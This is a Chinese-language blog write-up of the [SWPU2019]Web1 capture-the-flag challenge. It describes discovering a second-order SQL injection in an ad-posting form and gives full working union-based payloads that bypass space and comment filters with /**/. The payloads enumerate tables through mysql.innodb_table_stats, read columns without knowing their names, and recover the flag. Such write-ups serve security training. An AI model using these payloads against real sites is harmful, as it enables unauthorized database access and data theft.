当前位置: 首页 > news >正文

[SWPU2019]Web1 超详细教程

老规矩先看源码,没找到啥提示,后面就是登录口对抗

弱口令试了几个不行,就注册了个账户登录进去

可以发布广告,能造成xss,但是没啥用啊感觉

查看广告信息的时候,注意到url当中存在id参数,可能存在sql注入

这里虽然显示待确认,但是既然我可以看到数据,那么说明它必然已经存在数据库里了

但是我手测了几个,' " + / *  and or ,没发现明显的可注入点,可能是做了严格的过滤

停下来整理一下思路,前面那个存储框除了xss以外还有sql二次注入的可能,但是xss一般在ctf中没啥利用点,所以思路转向验证sql二次注入

新建一个广告,我故意把文件名命名和之前的重复,看他会不会去查询

正和我意,说明它去数据库里查了已有的广告名称

去试试

做了过滤,这也恰恰说明这里大概率有货,就是怎么去绕过呢

新建一个广告

这里在创建的时候没报错,我以为没了呢,但是查看详情的时候发现报错了

您的 SQL 语法有错误;检查与您的 MariaDB 服务器版本相对应的手册,了解在第 1 行的 ''1'' limit 0,1' 附近使用的正确语法

从这里我们就可以得到有用的信息了,"包裹,mariadb数据库

但是空格好像被过滤了,会提示敏感词汇

# 也被过滤了

不明白他这里为啥上面提示是双引号,但是后面给双引号又提示是单引号

后面试了单引号可以

构造的轮子:-1'/**/union/**/select/**/1,2,'3,

提示列数不匹配

到这里才完全确定存在注入,后面就是轮子的变形

一直加到22列才不报错,注入点是2,3位

poc:

-1'/**/union/**/select/**/1,database(),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,'22

爆出库名

这里还要注意的一点是,在注入的时候要把前面的第一个参数改为不存在的id,比如:-1,否则后面的即使查出来了也不会显示的,因为只会输出一行,注意注意,我一开始搞忘了

再爆破表名

-1'/**/union/**/select/**/1,database(),group_concat(table_name),4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22/**/from/**/mysql.innodb_table_stats/**/where/**/database_name="web1"'
 

无字段名称去爆破字段内容,爆破表里的所有列的内容,*

-1'/**/union/**/select/**/1,database(),(select/**/group_concat(b)/**/from/**/(select/**/1,2/**/as/**/a,3/**/as/**/b/**/union/**/select/**/*/**/from/**/users)a),4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22'
 

拿到flag

flag{5609c556-36e6-4073-886d-5301375da629}

总结:联合注入注意第一个参数是否存在影响结果展示

sql注入功能点的发现,只要是展示数据了,就有可能存在注入

注入要先判断有没有,再去构造轮子,联合注入要先判断列数,同时注意绕过替换

相关文章:

  • 北京网站建设多少钱?
  • 辽宁网页制作哪家好_网站建设
  • 高端品牌网站建设_汉中网站制作
  • PMP--一模--解题--1-10
  • 前端网络请求库:Axios
  • Docker中部署.NetCore项目
  • 结构型模式-python版
  • Android12_13左上角状态栏数字时间显示右移动
  • 真正解决微信截图卡住(假死)
  • 聚焦:clicOH 借助 NVIDIA cuOpt 实现最后一英里交付速度 20 倍提升
  • 手机如何执行Python
  • 天童教育:让孩子练习独立思考
  • 【React源码解析】深入理解react时间切片和fiber架构
  • 连锁管理系统如何兼批发和零售 连锁收银系统如何配合做好财务
  • 详解ImageNet著名子数据集ILSVRC2012基于Python的下载、解析及可视化
  • 6- 【JavaWeb】Maven管理项目
  • 如何调试本地npm package
  • 【前端】Flutter vs uni-app:性能对比分析
  • 【笔记】你不知道的JS读书笔记——Promise
  • AngularJS指令开发(1)——参数详解
  • iOS动画编程-View动画[ 1 ] 基础View动画
  • Js基础知识(一) - 变量
  • orm2 中文文档 3.1 模型属性
  • Service Worker
  • Shell编程
  • SQLServer之创建显式事务
  • 第13期 DApp 榜单 :来,吃我这波安利
  • 观察者模式实现非直接耦合
  • 基于Mobx的多页面小程序的全局共享状态管理实践
  • 前端技术周刊 2019-02-11 Serverless
  • 微信小程序开发问题汇总
  • 一些关于Rust在2019年的思考
  • 云栖大讲堂Java基础入门(三)- 阿里巴巴Java开发手册介绍
  • FaaS 的简单实践
  • LIGO、Virgo第三轮探测告捷,同时探测到一对黑洞合并产生的引力波事件 ...
  • 树莓派用上kodexplorer也能玩成私有网盘
  • ​​​​​​​sokit v1.3抓手机应用socket数据包: Socket是传输控制层协议,WebSocket是应用层协议。
  • ​queue --- 一个同步的队列类​
  • # Maven错误Error executing Maven
  • # 计算机视觉入门
  • #LLM入门|Prompt#1.7_文本拓展_Expanding
  • #NOIP 2014#day.2 T1 无限网络发射器选址
  • #QT(一种朴素的计算器实现方法)
  • (06)Hive——正则表达式
  • (12)目标检测_SSD基于pytorch搭建代码
  • (14)Hive调优——合并小文件
  • (14)学习笔记:动手深度学习(Pytorch神经网络基础)
  • (2024,LoRA,全量微调,低秩,强正则化,缓解遗忘,多样性)LoRA 学习更少,遗忘更少
  • (6)STL算法之转换
  • (附程序)AD采集中的10种经典软件滤波程序优缺点分析
  • (七)glDrawArry绘制
  • (十八)用JAVA编写MP3解码器——迷你播放器
  • (十三)Flink SQL
  • (一)SvelteKit教程:hello world
  • (转)es进行聚合操作时提示Fielddata is disabled on text fields by default
  • (转)全文检索技术学习(三)——Lucene支持中文分词
  • .Net Core/.Net6/.Net8 ,启动配置/Program.cs 配置
  • .Net CoreRabbitMQ消息存储可靠机制